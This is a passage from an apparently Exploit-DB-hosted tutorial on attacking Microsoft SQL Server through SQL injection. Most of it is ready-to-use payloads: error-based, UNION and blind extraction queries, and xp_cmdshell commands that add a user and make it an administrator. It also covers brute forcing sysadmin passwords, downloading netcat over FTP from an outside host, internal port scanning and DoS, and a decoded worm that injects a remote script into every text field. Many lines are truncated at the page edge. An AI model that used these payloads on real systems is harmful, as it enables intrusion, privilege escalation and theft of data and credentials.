                           SOAPAction: "http://tempuri.org/GetUserInfo"
                           Host: testcwh.cwh.net
                           Content-Length: 384

                           <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
                           xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body>
                           <GetUserInfo xmlns="http://tempuri.org/"><username>admin' and 1=convert(int,@@version)--</username><password>1234<
                           </GetUserInfo></soap:Body></soap:Envelope>


                           *** Response ***
                           HTTP/1.1 200 OK
                           Date: Wed, 28 Jan 2009 15:59:17 GMT
                           Server: Microsoft-IIS/6.0
                           X-Powered-By: ASP.NET
                           X-AspNet-Version: 2.0.50727
                           Cache-Control: private, max-age=0
                           Content-Type: text/xml; charset=utf-8
                           Content-Length: 1266
                           Connection: close
                           X-Junk: xxxxxxxxxxx

                           <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
                           xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body>
                           <GetUserInfoResponse xmlns="http://tempuri.org/"><GetUserInfoResult><ErrorOccured>true</ErrorOccured><ErrorStr>
                           System.Data.OleDb.OleDbException: Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2005
                           Feb 9 2007 22:47:07
                           Copyright (c) 1988-2005 Microsoft Corporation
                           Express Edition on Windows NT 5.2 (Build 3790: Service Pack 1)
                           ' to data type int.
                           at System.Data.OleDb.OleDbDataReader.ProcessResults(OleDbHResult hr)
                           at System.Data.OleDb.OleDbDataReader.NextResult()
                           at System.Data.OleDb.OleDbCommand.ExecuteReaderInternal(CommandBehavior behavior, String method)
                           at System.Data.OleDb.OleDbCommand.ExecuteReader(CommandBehavior behavior)
                           at Service.GetUserInfo(String username, String password)</ErrorStr><SqlQuery>SELECT * FROM users WHERE username='a
                           and 1=convert(int,@@version)--' AND password='81dc9bdb52d04dc20036dbd8313ed055'</SqlQuery><id>-1</id><joindate>000
                           </GetUserInfoResult></GetUserInfoResponse></soap:Body></soap:Envelope>

                           [End]---------------------------------------------------------------------------------------

                                   W00t!! W00t!!, We can enumerate MSSQL Version : Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86).
                           Then we can use SQLi techniques that we mention above (Dump tables, columns, data, Etc).

                  ++++++++++++++++++++++++++++++++++++++++++++++
                   [0x02c] - MSSQL Injection with UNION Attack
                  ++++++++++++++++++++++++++++++++++++++++++++++

                          This method differs from the both previous methods because we do not get information through error
                  but we, instead, see it in some point of returned page.

                  First of all, we have to know the exact number of selected column. We can find it by using ORDER BY clause.

                           http://www.example.com/page.asp?id=1 order by 1--
                           http://www.example.com/page.asp?id=1 order by 2--




9 of 17                                                                                                               12/24/10 5:49 PM
Vulnerability analysis, Security Papers, Exploit Tutorials                                      http://www.exploit-db.com/papers/12975/


                           http://www.example.com/page.asp?id=1 order by 3--
                           http://www.example.com/page.asp?id=1 order by 4--
                           and so on

                   We observe a result from each request until we get error like this.

                           ------------------------------------------------------------------------------------
                           Microsoft SQL Native Client error '80040e14'
                           The ORDER BY position number 5 is out of range of the number of items in the select list.
                           /showthread.asp, line 9
                           ------------------------------------------------------------------------------------

                   This means this page select four columns from table and this error occurs when we request http://www.example.com/page.asp?

                   Now, we use UNION operator to gain information.

                           [SQLi]------------------------------------------------------------------------------
                           http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 11,22,33,44--
                           [End SQLi]--------------------------------------------------------------------------

                   We will see "11" or "22" or "33" or "44" appeared on some point in returned page. We assume that
                   we have already located the position which "44" occur on the screen.
                   (We should remember this position because it is where our information will be appeared)

                   As we found "44" on the screen, we replace "44" with "@@version" in order to find the version of MSSQL.

                           [SQLi]------------------------------------------------------------------------------
                           http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 11,22,33,@@version--
                           [End SQLi]--------------------------------------------------------------------------

                   We will see version of MSSQL appeared in the position which "44" occurred.

                   At this point, we know that next information definitely takes place in this position.

                           The rest are to find table names, column names and data. As we see in previous section,
                   we can obtain table names and column names through "information_schema" database.
                   We still use the same way in this approach.

                           [SQli]------------------------------------------------------------------------------
                           http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 11,22,33,table_name from information_schema.tables--
                           [End SQLi]--------------------------------------------------------------------------

                   We will see the first table on the screen. We assume it is table called 'threads'. We can find next table by following req

                           [SQli]------------------------------------------------------------------------------
                           http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 11,22,33,table_name from information_schema.tables where
                           [End SQLi]--------------------------------------------------------------------------

                   We assume the retrieved table is 'users'. So, we append a known table list until we get blank in position which "44" occur
                   After we get all table names that we want, we move to gather column names.

                           [SQli]------------------------------------------------------------------------------
                           http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 11,22,33,column_name from information_schema.columns whe
                           [End SQLi]--------------------------------------------------------------------------

                   From this request, we will see the first column in table 'users'. We assume it is 'uname'. For another column, we can use

                           [SQLi]------------------------------------------------------------------------------
                           http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 11,22,33,column_name from information_schema.columns whe
                           column_name not in ('uname')--
                           [End SQLi]--------------------------------------------------------------------------

                   We get the second column which is 'upass' and we continue appending a known column list until we get blank result.
                   The most wanted information is data. It is quite simple after we obtained table names and column names. We just use follow

                           [SQLi]------------------------------------------------------------------------------
                           http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 11,22,33,uname from users--
                           [End SQLi]--------------------------------------------------------------------------

                   We will get data such as admin from the request. In order to get another row, we only append information list as following

                           [SQLi]------------------------------------------------------------------------------
                           http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 11,22,33,uname from users where uname not in ('admin')--
                           [End SQLi]--------------------------------------------------------------------------

                   Now, we can enumerate the rest data.


           ###########################################
            [0x03] - MSSQL Blind SQL Injection Attack
           ###########################################


                   In some case, Using normal sql injection is not work. Blind sql injection is another method which may help you.
           The important point for blind sql injection is the difference between the valid and invalid query result.
           You have to inject a statement to make query valid or invalid and observe the response.
                   Just because you don't see any results, doesn't mean that your injected SQL is not being executed !!


                   ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
                    [0x03a] - How to Test sites that are vulnerable in Blind SQL Injection




10 of 17                                                                                                               12/24/10 5:49 PM
Vulnerability analysis, Security Papers, Exploit Tutorials                                           http://www.exploit-db.com/papers/12975/


                  ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

                           We assume that http://www.example.com/page.asp?id=1 is normal url to open web page.

                  You can try to inject a statement like this

                  http://www.example.com/page.asp?id=1 and 1=1
                  and
                  http://www.example.com/page.asp?id=1 and 1=2

                          If the results from these requests are different, it will be a good signal for you.
                  This website may fall to blind sql injection vulnerability. When you put "id=1 and 1=1",
                  it means that the condition is true so, the response must be normal.
                  But the parameter "id=1 and 1=2" indicates that the condition is false
                  and if the webmaster does not provide a proper filter, the response absolutely differs from previous.


                  ++++++++++++++++++++++++++++++++++++++++++++++++++++++
                   [0x03b] - Determine data through Blind SQL Injection
                  ++++++++++++++++++++++++++++++++++++++++++++++++++++++

                          By using blind technique, you have to spend more time than normal injection.
                  You can obtain only one character while you send several queries to server.
                  We will give you an example of querying the first character of database name.
                  We assume that database name is member. Therefore, the first character is "m"
                  which the ascii value is 109. (At this point, we assume that you know ascii code)

                  Ok, first, we have to know that the results from requests have only 2 forms.

                  1. Valid query result likes http://www.example.com/page.asp?id=1 and 1=1
                  2. Invalid query result likes http://www.example.com/page.asp?id=1 and 1=2


                  The following steps are up to each person. You idea may be different from our idea in order to pick ascii code to test que

                  http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>

                  In this situation, the result will be valid query result like http://www.example.com/page.asp?id=1 and 1=1
                  (because the first character of database name is "m" which ascii code is 109). Then, we try

                  http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>

                  It is surely that the result will like http://www.example.com/page.asp?id=1 and 1=2 (because 109 absolutely less than 120)
                  next, we try

                  http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>

                  The result is a valid query result and at this point, the ascii value of first character of database name is between 105 a
                  So, we try

                  http://www.example.com/page.asp?id=1   AND   ISNULL(ASCII(SUBSTRING(CAST((SELECT   LOWER(db_name(0)))AS   varchar(8000)),1,1)),0)>
                  http://www.example.com/page.asp?id=1   AND   ISNULL(ASCII(SUBSTRING(CAST((SELECT   LOWER(db_name(0)))AS   varchar(8000)),1,1)),0)>
                  http://www.example.com/page.asp?id=1   AND   ISNULL(ASCII(SUBSTRING(CAST((SELECT   LOWER(db_name(0)))AS   varchar(8000)),1,1)),0)>
                  http://www.example.com/page.asp?id=1   AND   ISNULL(ASCII(SUBSTRING(CAST((SELECT   LOWER(db_name(0)))AS   varchar(8000)),1,1)),0)>

                          You see that the first character of database name has an ascii value which is greater than 108
                  but is not greater than 109. Thus, we can conclude that the ascii value is equal to 109.
                  You can prove with:

                  http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)=

                  We sure that the result is like the result of http://www.target.com/page.php?id=1 and 1=1 .

                  The rest which you have to do is to manipulate some queries to collect your preferred information.
                  In this tutorial, we propose some example queries in order to find the names of tables and columns in the database.


                  ++++++++++++++++++++++++++++++++++++++++++++
                   [0x03c] - Exploit query for get Table name
                  ++++++++++++++++++++++++++++++++++++++++++++

                          In order to get table name, we can use above method to obtain each character of table name.
                  The only thing that we have to do is to change query to retrieve table name of current database.
                  As MSSQL does not have limit command. Therefore, the query is a bit complicate.

                  http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name)
                  FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55))
                  AS varchar(8000)),1,1)),0)>97

                          The above query is used to determine the first character of first table in current database. If we want to find se
                  we can do by following request:

                  http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name)
                  FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55))
                  AS varchar(8000)),2,1)),0)>97

                          We change the second parameter of substring function from 1 to 2 in order to specify preferred position of charact
                  Thus, if we want to determine other positions, we require only changing second parameter of substring function.

                          In case of other tables, we can find other table names by changing the second select
                  from "SELECT TOP 1" to be "SELECT TOP 2" , "SELECT TOP 3" and so on. for example,




11 of 17                                                                                                                     12/24/10 5:49 PM
Vulnerability analysis, Security Papers, Exploit Tutorials                                         http://www.exploit-db.com/papers/12975/



                   http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name)
                   FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 2 LOWER(name) FROM sysObjects WHERE xtYpe=0x55))
                   AS varchar(8000)),1,1)),0)=97

                           The above request will determine the first character of the second table name in current database.


                   +++++++++++++++++++++++++++++++++++++++++++++
                    [0x03d] - Exploit query for get Column name
                   +++++++++++++++++++++++++++++++++++++++++++++

                           After we obtain table names, the next target information is absolutely column names.

                   http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid
                   syscolumns i WHERE(i.colid<=o.colid) AND id=(SELECT id FROM sysobjects WHERE name='tablename'))x,name FROM syscolumns o WH
                   id=(SELECT id FROM sysobjects WHERE name='tablename')) as p WHERE(p.x=1))AS varchar(8000)),1,1)),0)>97

                           In order to circumvent from magic quote filtering, you have to change 'tablename'
                   to be the form of concatenating char() command. for example, if table name is 'user',
                   when we put 'user' in the query, ' may be filtered and our query will be wrong.
                   The solution is convert 'user' to be char(117)+char(115)+char(101)+char(114).
                   So, the query in where cluase changes from "Where name='user'" to "Where name=char(117)+char(115)+char(101)+char(114)".
                   In this case, we can circumvent magic quote filtering. The result from the above request is the first character of the fir
                   When we want to find the second character of the first column, we can use the same method as getting table name, by changi
                   substring function.

                   http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid
                   syscolumns i WHERE(i.colid<=o.colid) AND id=(SELECT id FROM sysobjects WHERE name='tablename'))x,name FROM syscolumns o WH
                   id=(SELECT id FROM sysobjects WHERE name='tablename')) as p WHERE(p.x=1))AS varchar(8000)),2,1)),0)>97

                   The above request is used to determine the second character of the first column name in specific table.
                   In case of determining other columns, we can do by changing p.x value from 1 to 2,3,4 and so on. such as,

                   http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid
                   syscolumns i WHERE(i.colid<=o.colid) AND id=(SELECT id FROM sysobjects WHERE name='tablename'))x,name FROM syscolumns o WH
                   id=(SELECT id FROM sysobjects WHERE name='tablename')) as p WHERE(p.x=2))AS varchar(8000)),1,1)),0)>97

                   The first character of the second column name in specific table can be determined by the above request.


           ##############################################
            [0x04] - More Dangerous SQL Injection Attack
           ##############################################

                           In Chapter [0x02] and [0x03], We described about retrieving any useful data that was extracted from database
                   via SQL Injection techniques - for example, by performing a UNION Attack, Returning data in an error message and Blind inj
                           This chapter will not show only an data extraction but command execution and sql worms as well.

                   +++++++++++++++++++++++++++++++++++++++++++++++++++++
                    [0x04a] - Dangerous from Extended Stored Procedures
                   +++++++++++++++++++++++++++++++++++++++++++++++++++++

                           xp_cmdshell            - Executes a given command on the MSSQL Operation system
                                                  - Available by default on all MSSQL (Disabled on MSSQL 2005)
                                                  - Can only be executed by 'sa' and any other users with 'sysadmin' privileges

                           xp_regxxx              - Read/Write registry keys, potentially including the Read SAM file

                                   xp_regread
                                   xp_regwrite
                                   xp_regdeletekey
                                   xp_regdeletevalue
                                   xp_regenumkeys
                                   xp_regenumvalues

                                   [Example for determines what null-session shares are available on the server]
                                   exec xp_regread HKEY_LOCAL_MACHINE,'SYSTEMCurrentControlSetServiceslanmanserverparameters','nullsessio

                           xp_servicecontrol      - Allows to Manage Services

                                   [Example Command]--------------------------------------------------------------------
                                   exec master..xp_servicecontrol 'start','schedule'
                                   exec master..xp_servicecontrol 'start','server'
                                   [End Command]------------------------------------------------------------------------

                           xp_availablemedia      -   Reveals the available drives on the machine
                           xp_dirtree             -   Allows a directory tree to be obtained
                           xp_enumdsn             -   Enumerates ODBC data sources on the server
                           xp_makecab             -   Allows the user to create a compressed archive of files on the server
                           xp_ntsec_enumdomains   -   Enumerates domains that the server can access
                           xp_terminate_process   -   Terminate a process (PID)
                           xp_loginconfig         -   Login mode

                   +++++++++++++++++++++++++++++++++++++++++++++
                    [0x04b] - Advanced SQL Injection Techniques
                   +++++++++++++++++++++++++++++++++++++++++++++

                           "xp_cmdshell" Stored procedures, executes any command shell in the server with the same permissions that it is cur
                   By default, only sysadmin is allowed to use it and in SQL Server 2005 it is disabled by default (it can be enabled again u




12 of 17                                                                                                                  12/24/10 5:49 PM
Vulnerability analysis, Security Papers, Exploit Tutorials                                       http://www.exploit-db.com/papers/12975/


                  EXEC master.dbo.xp_cmdshell 'net user cwh cwh1234 /add' ;--                         //Use for add user "cwh" into system.
                  EXEC master.dbo.xp_cmdshell 'net localgroup administrators cwh /add' ;--            //Use for escalating privilege "cwh" to ad

                  Example through SQL injection in a numeric field via a GET request:
                  http://www.example.com/news.asp?id=1; exec master.dbo.xp_cmdshell 'command'

                  On MSSQL 2005 you may need to reactivate xp_cmdshell first as it's disabled by default:

                  EXEC sp_configure 'show advanced options', 1;--
                  RECONFIGURE;--
                  EXEC sp_configure 'xp_cmdshell', 1;--
                  RECONFIGURE;--

                  On MSSQL 2000:

                  If you have 'sa' privileges but xp_cmdshell has been disabled/removed with sp_dropextendedproc,
                  we can simply inject the following code:

                  EXEC sp_addextendedproc 'xp_anyname', 'xp_log70.dll';--

                          This creates a new stored procedure 'xp_anyname' linked to xp_log70.dll, which provides the xp_cmdshell functional
                  If the previous code does not work, it means that the xp_log70.dll has been moved or deleted. In this case we need to inje

                             CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS
                             DECLARE @result int, @OLEResult int, @RunResult int
                             DECLARE @ShellID int
                             EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT
                             IF @OLEResult <> 0 SELECT @result = @OLEResult
                             IF @OLEResult <> 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)
                             EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait
                             IF @OLEResult <> 0 SELECT @result = @OLEResult
                             IF @OLEResult <> 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)
                             EXECUTE @OLEResult = sp_OADestroy @ShellID
                             return @result

                  ** Tip **

                  [Question]
                          Determined that the web application connects to the DB with unprivileged account.
                  So we can't execute XP_CMDSHELL or access any interesting data ?

                  [Answer]
                             It's not the end, First we must enumerate MSSQL user accounts that have system administrator privileges.

                  [Code]--------------------------------------------------------------------------------------
                  http://www.example.com/news.asp?id=1 union all select null,null,name,null,null,null,null from master..syslogins where name
                  [End Code]----------------------------------------------------------------------------------

                  [Result]------------------------------------------------------------------------------------
                  sa
                  cwh
                  example
                  [End Result]--------------------------------------------------------------------------------

                          We can use "OPENROWSET" to re-connect to the same database server under each enumerated
                  sysadmin account and guess passwords. This was automated via a Perl script to do brute-force password guessing through the

                  [Code]--------------------------------------------------------------------------------------
                  http://www.example.com/news.asp?id=1 union select * from openrowset('SQLoledb','server=VICTIMDBNAME;uid=$USER;pwd=$PASS','
                  [End Code]----------------------------------------------------------------------------------

                  //Result: Found that "CWH" has a "1234"

                             Leveraged the "OPENDATASOURCE" function to execute a stored procedure on the database, under the "CWH" system admi

                  [Code]--------------------------------------------------------------------------------------
                  http://www.example.com/news.asp?id=1; EXEC opendatasource('SQLoledb','Persist Security Info=False;DataSource=VICTIMDBNAME;
                  .dbo.xp_cmdshell 'net user hacklol 1234 /add';
                  [End Code]----------------------------------------------------------------------------------

                  //Dirty Attack: use TFTP Netcat and run a reverse shell. Gained Internet access to the internal network.


                  = How about Upload of executables ? =

                          Once we can use xp_cmdshell (either the native one or a custom one), we can easily upload executables on the targe
                  A very common choice is netcat.exe, but any trojan will be useful here. If the target is allowed to start FTP connections
                  all that is needed is to inject the following queries:

                  exec   master..xp_cmdshell   'echo open ftp.tester.org > ftpscript.txt';--
                  exec   master..xp_cmdshell   'echo USER >> ftpscript.txt';--
                  exec   master..xp_cmdshell   'echo PASS >> ftpscript.txt';--
                  exec   master..xp_cmdshell   'echo bin >> ftpscript.txt';--
                  exec   master..xp_cmdshell   'echo get nc.exe >> ftpscript.txt';--
                  exec   master..xp_cmdshell   'echo quit >> ftpscript.txt';--
                  exec   master..xp_cmdshell   'ftp -s:ftpscript.txt';--


                  = How about Retrieving VNC Password from Registry ? =

                  '; declare @out binary(8)




13 of 17                                                                                                                 12/24/10 5:49 PM
Vulnerability analysis, Security Papers, Exploit Tutorials                                     http://www.exploit-db.com/papers/12975/


                  exec master..xp_regread
                  @rootkey = 'HKEY_LOCAL_MACHINE',
                  @key = 'SOFTWAREORLWinVNC3Default',
                  @value_name='password',
                  @value = @out output
                  select cast (@out as bigint) as x into TEMP--

                  ' and 1 in (select cast(x as varchar) from temp)--


                  = How about Port Scanning ? =

                           We can use SQL injection vulnerability as a rudimentary IP/Port Scanner of the Internal Network or Internet

                  [Code]--------------------------------------------------------------------------------------
                  http://www.example.com/news.asp?id=1 union select * from openrowset('SQLoledb','uid=sa;pwd=;Network=DBMSSOCN;Address=10.10
                  'select * from table')--
                  [End Code]----------------------------------------------------------------------------------

                                   This Code will outbound the connection to 10.10.10.12 over port 80. If the port is closed, the timeout (5
                           in parameter will be consumed and display error message:

                                   "SQL Server does not exist or access denied"

                           If port is open, the timeout would not be consumed and error messages will returned:

                                   "General network error. Check your network documentation"
                                   or
                                   "OLE DB provider 'sqloledb' reported an error. The provider did not give any information about the error."

                           This technique, We will be able to map open ports on the IP addresses of hosts on the internal network (w00t !!)

                           ** Note **
                                   This technique can use for Denial of Service (DoS). Just change port to some port such as: FTP (21), and c
                           It's make many connections to target over FTP service (port 21)

                  ++++++++++++++++++++++++++++++++++++++
                   [0x04c] - Mass MSSQL Injection Worms
                  ++++++++++++++++++++++++++++++++++++++

                          Recently, we came across a particularly interesting type of SQL Injection that, at times, can be quite difficult t
                  even with the most robust database backup and recovery scheme. This attack is conducted with the help of an Internet robot
                  known as malbot—which attacks its prospects daily. It is likely that such a malbot fires the series of injection attempts
                  and conditionally until the malicious script references are sensed on the targeted web pages. There is nothing new in the
                  the following T-SQL is injected. Yet, the generic nature of the script is somewhat interesting to see.


                  [SQLi worm]---------------------------------------------------------------------------------
                  ';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4400450043004C004100520045002000400054002000760061007200630068006100720028
                  0029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C00
                  7500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C
                  0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D00
                  6200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D0027
                  0061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D00330035002000
                  62002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D003100AS%20NVARCHAR(4000));EXEC(
                  [End SQLi]----------------------------------------------------------------------------------

                           When we decode this SQLi Code with Hex:

                  [SQLi Decoded]------------------------------------------------------------------------------

                  DECLARE @T VARCHAR(255)
                  DECLARE @C VARCHAR(255)

                  DECLARE Table_Cursor CURSOR FOR
                  SELECT [A].[Name], [B].[Name]
                  FROM sysobjects AS [A], syscolumns AS [B]
                  WHERE [A].[ID] = [B].[ID] AND

                  [A].[XType] = 'U' /* Table (User-Defined) */ AND
                  ([B].[XType] = 99 /* NTEXT */ OR
                  [B].[XType] = 35 /* TEXT */ OR
                  [B].[XType] = 231 /* SYSNAME */ OR
                  [B].[XType] = 167 /* VARCHAR */)

                  OPEN Table_Cursor
                  FETCH NEXT FROM Table_Cursor INTO @T,@C

                  WHILE (@@FETCH_STATUS = 0)

                  BEGIN
                  EXEC('UPDATE [' + @T + '] SET [' + @C + '] = RTRIM(CONVERT(VARCHAR, [' + @C + '])) + ''<script src="http://www.fengnima.cn
                  FETCH NEXT FROM Table_Cursor INTO @T, @C
                  END

                  CLOSE Table_Cursor
                  DEALLOCATE Table_Cursor

                  [End SQLi]----------------------------------------------------------------------------------

                           What happens as a result? It finds all text fields in the database and adds a link to malicious javascript




14 of 17                                                                                                              12/24/10 5:49 PM
Vulnerability analysis, Security Papers, Exploit Tutorials                                     http://www.exploit-db.com/papers/12975/


                   <script src="http://www.fengnima.cn/k.js"></script> to each and every one of them which will make your website display the
                   So essentially what happened was that the attackers looked for ASP or ASPX pages containing any type of querystring (a dyn
                   an article ID, product ID, etc) parameter and tried to use that to upload their SQL injection code.


           ########################################
            [0x05] - MSSQL Injection Cheat Sheet
           ########################################

                           ** Some of the queries in the table below can only be run by an admin (SA Privilege).
                   These are marked with "-- priv" at the end of the query. **

                   +---------------+---------------------------------------------------------------------------+
                   |    Version    | SELECT @@version                                                          |
                   |---------------|---------------------------------------------------------------------------|
                   |   Comments    | SELECT 1 -- comment                                                       |
                   |               | SELECT /*comment*/1                                                       |
                   |---------------|---------------------------------------------------------------------------|
                   |               | SELECT user_name();                                                       |
                   |               | SELECT system_user;                                                       |
                   | Current User | SELECT user;                                                               |
                   |               | SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID             |
                   |---------------|---------------------------------------------------------------------------|
                   | List Users    | SELECT name FROM master..syslogins                                        |
                   |---------------|---------------------------------------------------------------------------|
                   |               | MSSQL2000: SELECT name, password FROM master..sysxlogins -- priv          |
                   |               |                                                                           |
                   |               |            SELECT name, master.dbo.fn_varbintohexstr(password)            |
                   |               |            FROM master..sysxlogins -- priv                                |
                   | List Password |                                                                           |
                   |    Hashes     | MSSQL2005: SELECT name, password_hash FROM                                |
                   |               |            master.sys.sql_logins -- priv                                  |
                   |               |                                                                           |
                   |               |            SELECT name + '-' +                                            |
                   |               |            master.sys.fn_varbintohexstr(password_hash)                    |
                   |               |            FROM master.sys.sql_logins -- priv                             |
                   |---------------|---------------------------------------------------------------------------|
                   |               | SELECT is_srvrolemember('sysadmin'); -- is your account a sysadmin?       |
                   |               | returns 1 for true, 0 for false, NULL for invalid role.                   |
                   |               | Also try 'bulkadmin', 'systemadmin' and other values.                     |
                   |   List DBA    |                                                                           |
                   |   Accounts    |                                                                           |
                   |               | SELECT is_srvrolemember('sysadmin', 'sa'); -- is sa a sysadmin?           |
                   |               | return 1 for true, 0 for false, NULL for invalid role/username.           |
                   |---------------|---------------------------------------------------------------------------|
                   |   Current DB | SELECT DB_NAME()                                                           |
                   |---------------|---------------------------------------------------------------------------|
                   |     List      | SELECT name FROM master..sysdatabases;                                    |
                   |   Databases   | SELECT DB_NAME(N); -- for N = 0, 1, 2, ...                                |
                   |---------------|---------------------------------------------------------------------------|
                   |               | SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE   |
                   |               | name = 'mytable'); -- for the current DB only                             |
                   |               |                                                                           |
                   | List Columns | SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM |
                   |               | master..syscolumns, master..sysobjects WHERE                              |
                   |               | master..syscolumns.id=master..sysobjects.id AND                           |
                   |               | master..sysobjects.name='sometable'; -- list colum names                  |
                   |               | and types for master..sometable                                           |
                   |---------------|---------------------------------------------------------------------------|
                   |               | SELECT name FROM master..sysobjects WHERE xtype = 'U';                    |
                   |               | (Use xtype = 'V' for views)                                               |
                   |               | SELECT name FROM someotherdb..sysobjects WHERE xtype = 'U';               |
                   |               |                                                                           |
                   | List Tables | SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype)         |
                   |               | FROM master..syscolumns, master..sysobjects WHERE                         |
                   |               | master..syscolumns.id=master..sysobjects.id AND                           |
                   |               | master..sysobjects.name='sometable'; -- list column names and types       |
                   |               | for master..sometable                                                     |
                   |---------------|---------------------------------------------------------------------------|
                   |               | -- NB: This example works only for the current database.                  |
                   |               | If you wan't to search another db, you need to specify the db name        |
                   | Find Tables | (e.g. replace sysobject with mydb..sysobjects).                             |
                   |     From      |                                                                           |
                   | Column Name | SELECT sysobjects.name as tablename, syscolumns.name as columnname          |
                   |               | FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id          |
                   |               | WHERE sysobjects.xtype = 'U' AND syscolumns.name LIKE '%PASSWORD%' --     |
                   |               | this lists table, column for each column containing the word 'password'   |
                   |---------------|---------------------------------------------------------------------------|
                   |    Select     | SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins          |
                   |    Nth Row    | ORDER BY name ASC) sq ORDER BY name DESC -- gets 9th row                  |
                   |---------------|---------------------------------------------------------------------------|
                   |Select Nth Char| SELECT substring('abcd', 3, 1) -- returns c                               |
                   |---------------|---------------------------------------------------------------------------|
                   | Bitwise AND | SELECT 6 & 2 -- returns 2                                                   |
                   |               | SELECT 6 & 1 -- returns 0                                                 |
                   |---------------|---------------------------------------------------------------------------|
                   | ASCII Value | SELECT char(0x41) -- returns A                                              |
                   |   -> Char     |                                                                           |
                   |---------------|---------------------------------------------------------------------------|
                   | Char -> ASCII | SELECT ascii('A') - returns 65                                            |
                   |     Value     |                                                                           |




